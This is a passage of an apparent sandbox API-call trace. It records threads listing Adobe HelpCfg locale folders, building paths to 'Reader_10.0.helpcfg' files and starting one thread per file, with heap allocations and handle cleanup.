ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0136.007] wcscmp (_String1="Reader_10.0.helpcfg", _String2=".") returned 1 [0136.007] wcscmp (_String1="Reader_10.0.helpcfg", _String2="..") returned 1 [0136.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x20505e10 [0136.008] wcscpy (in: _Dest=0x20505e10, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO" [0136.008] wcscat (in: _Dest=0x20505e10, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO\\" [0136.008] wcscat (in: _Dest=0x20505e10, _Source="Reader_10.0.helpcfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO\\Reader_10.0.helpcfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO\\Reader_10.0.helpcfg" [0151.021] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20505e10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d10 [0151.022] FindNextFileW (in: hFindFile=0x1ced5b60, lpFindFileData=0x1cd985b0 | out: lpFindFileData=0x1cd985b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0151.022] FindClose (in: hFindFile=0x1ced5b60 | out: hFindFile=0x1ced5b60) returned 1 [0151.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd985b0) returned 1 [0151.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060330) returned 1 [0151.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8682c0) returned 1 Thread: id = 1964 os_tid = 0x1180 [0136.010] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x420603b0 [0136.010] wcscpy (in: _Dest=0x420603b0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU" [0136.010] wcscat (in: _Dest=0x420603b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU\\" [0136.010] wcscat (in: _Dest=0x420603b0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU\\*" [0136.010] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd98340 [0136.010] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU\\*", lpFindFileData=0x1cd98340 | out: lpFindFileData=0x1cd98340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5bc0 [0136.010] wcscmp (_String1=".", _String2=".") returned 0 [0136.010] FindNextFileW (in: hFindFile=0x1ced5bc0, lpFindFileData=0x1cd98340 | out: lpFindFileData=0x1cd98340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.010] wcscmp (_String1="..", _String2=".") returned 1 [0136.011] wcscmp (_String1="..", _String2="..") returned 0 [0136.011] FindNextFileW (in: hFindFile=0x1ced5bc0, lpFindFileData=0x1cd98340 | out: lpFindFileData=0x1cd98340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0136.011] wcscmp (_String1="Reader_10.0.helpcfg", _String2=".") returned 1 [0136.011] wcscmp (_String1="Reader_10.0.helpcfg", _String2="..") returned 1 [0136.011] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x20505eb0 [0136.011] wcscpy (in: _Dest=0x20505eb0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU" [0136.011] wcscat (in: _Dest=0x20505eb0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU\\" [0136.011] wcscat (in: _Dest=0x20505eb0, _Source="Reader_10.0.helpcfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU\\Reader_10.0.helpcfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU\\Reader_10.0.helpcfg" [0151.024] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20505eb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d14 [0151.024] FindNextFileW (in: hFindFile=0x1ced5bc0, lpFindFileData=0x1cd98340 | out: lpFindFileData=0x1cd98340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0151.024] FindClose (in: hFindFile=0x1ced5bc0 | out: hFindFile=0x1ced5bc0) returned 1 [0151.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98340) returned 1 [0151.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420603b0) returned 1 [0151.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8683c0) returned 1 Thread: id = 1965 os_tid = 0x1188 [0136.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x42060430 [0136.013] wcscpy (in: _Dest=0x42060430, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK" [0136.013] wcscat (in: _Dest=0x42060430, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK\\" [0136.013] wcscat (in: _Dest=0x42060430, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK\\*" [0136.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd980d0 [0136.013] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK\\*", lpFindFileData=0x1cd980d0 | out: lpFindFileData=0x1cd980d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5c20 [0136.015] wcscmp (_String1=".", _String2=".") returned 0 [0136.015] FindNextFileW (in: hFindFile=0x1ced5c20, lpFindFileData=0x1cd980d0 | out: lpFindFileData=0x1cd980d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.015] wcscmp (_String1="..", _String2=".") returned 1 [0136.015] wcscmp (_String1="..", _String2="..") returned 0 [0136.015] FindNextFileW (in: hFindFile=0x1ced5c20, lpFindFileData=0x1cd980d0 | out: lpFindFileData=0x1cd980d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0136.015] wcscmp (_String1="Reader_10.0.helpcfg", _String2=".") returned 1 [0136.015] wcscmp (_String1="Reader_10.0.helpcfg", _String2="..") returned 1 [0136.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x20505f50 [0136.015] wcscpy (in: _Dest=0x20505f50, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK" [0136.015] wcscat (in: _Dest=0x20505f50, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK\\" [0136.015] wcscat (in: _Dest=0x20505f50, _Source="Reader_10.0.helpcfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK\\Reader_10.0.helpcfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK\\Reader_10.0.helpcfg" [0151.026] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20505f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d18 [0151.027] FindNextFileW (in: hFindFile=0x1ced5c20, lpFindFileData=0x1cd980d0 | out: lpFindFileData=0x1cd980d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0151.027] FindClose (in: hFindFile=0x1ced5c20 | out: hFindFile=0x1ced5c20) returned 1 [0151.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd980d0) returned 1 [0151.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060430) returned 1 [0151.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8684c0) returned 1 Thread: id = 1966 os_tid = 0x118c [0136.017] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x420604b0 [0136.017] wcscpy (in: _Dest=0x420604b0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI" [0136.017] wcscat (in: _Dest=0x420604b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI\\" [0136.017] wcscat (in: _Dest=0x420604b0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI\\*" [0136.017] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd98d00 [0136.017] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI\\*", lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5c80 [0136.018] wcscmp (_String1=".", _String2=".") returned 0 [0136.018] FindNextFileW (in: hFindFile=0x1ced5c80, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.018] wcscmp (_String1="..", _String2=".") returned 1 [0136.018] wcscmp (_String1="..", _String2="..") returned 0 [0136.018] FindNextFileW (in: hFindFile=0x1ced5c80, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0136.018] wcscmp (_String1="Reader_10.0.helpcfg", _String2=".") returned 1 [0136.018] wcscmp (_String1="Reader_10.0.helpcfg", _String2="..") returned 1 [0136.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x20505ff0 [0136.018] wcscpy (in: _Dest=0x20505ff0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI" [0136.018] wcscat (in: _Dest=0x20505ff0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI\\" [0136.018] wcscat (in: _Dest=0x20505ff0, _Source="Reader_10.0.helpcfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI\\Reader_10.0.helpcfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI\\Reader_10.0.helpcfg" [0151.029] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20505ff0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d1c [0151.029] FindNextFileW (in: hFindFile=0x1ced5c80, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0151.029] FindClose (in: hFindFile=0x1ced5c80 | out: hFindFile=0x1ced5c80) returned 1 [0151.030] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98d00) returned 1 [0151.030] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420604b0) returned 1 [0151.030] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868840) returned 1 Thread: id = 1967 os_tid = 0x1190 [0136.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x42060530 [0136.020] wcscpy (in: _Dest=0x42060530, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE" [0136.020] wcscat (in: _Dest=0x42060530, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE\\" [0136.020] wcscat (in: _Dest=0x42060530, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE\\*" [0136.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd99930 [0136.021] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE\\*", lpFindFileData=0x1cd99930 | out: lpFindFileData=0x1cd99930*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5ce0 [0136.021] wcscmp (_String1=".", _String2=".") returned 0 [0136.021] FindNextFileW (in: hFindFile=0x1ced5ce0, lpFindFileData=0x1cd99930 | out: lpFindFileData=0x1cd99930*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.021] wcscmp (_String1="..", _String2=".") returned 1 [0136.021] wcscmp (_String1="..", _String2="..") returned 0 [0136.021] FindNextFileW (in: hFindFile=0x1ced5ce0, lpFindFileData=0x1cd99930 | out: lpFindFileData=0x1cd99930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0136.021] wcscmp (_String1="Reader_10.0.helpcfg", _String2=".") returned 1 [0136.021] wcscmp (_String1="Reader_10.0.helpcfg", _String2="..") returned 1 [0136.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x20506090 [0136.022] wcscpy (in: _Dest=0x20506090, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE" [0136.022] wcscat (in: _Dest=0x20506090, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE\\" [0136.022] wcscat (in: _Dest=0x20506090, _Source="Reader_10.0.helpcfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE\\Reader_10.0.helpcfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE\\Reader_10.0.helpcfg" [0151.031] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20506090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d20 [0151.032] FindNextFileW (in: hFindFile=0x1ced5ce0, lpFindFileData=0x1cd99930 | out: lpFindFileData=0x1cd99930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0151.032] FindClose (in: hFindFile=0x1ced5ce0 | out: hFindFile=0x1ced5ce0) returned 1 [0151.032] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd99930) returned 1 [0151.032] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060530) returned 1 [0151.033] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8696c0) returned 1 Thread: id = 1968 os_tid = 0x1194 [0136.024] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x420605b0 [0136.024] wcscpy (in: _Dest=0x420605b0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR" [0136.024] wcscat (in: _Dest=0x420605b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR\\" [0136.024] wcscat (in: _Dest=0x420605b0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR\\*" [0136.024] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd99ba0 [0136.024] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR\\*", lpFindFileData=0x1cd99ba0 | out: lpFindFileData=0x1cd99ba0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5d40 [0136.026] wcscmp (_String1=".", _String2=".") returned 0 [0136.026] FindNextFileW (in: hFindFile=0x1ced5d40, lpFindFileData=0x1cd99ba0 | out: lpFindFileData=0x1cd99ba0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.026] wcscmp (_String1="..", _String2=".") returned 1 [0136.026] wcscmp (_String1="..", _String2="..") returned 0 [0136.026] FindNextFileW (in: hFindFile=0x1ced5d40, lpFindFileData=0x1cd99ba0 | out: lpFindFileData=0x1cd99ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0136.026] wcscmp (_String1="Reader_10.0.helpcfg", _String2=".") returned 1 [0136.026] wcscmp (_String1="Reader_10.0.helpcfg", _String2="..") returned 1 [0136.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x20506130 [0136.026] wcscpy (in: _Dest=0x20506130, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR") returned="C:\\Program Files (x86)\\Common 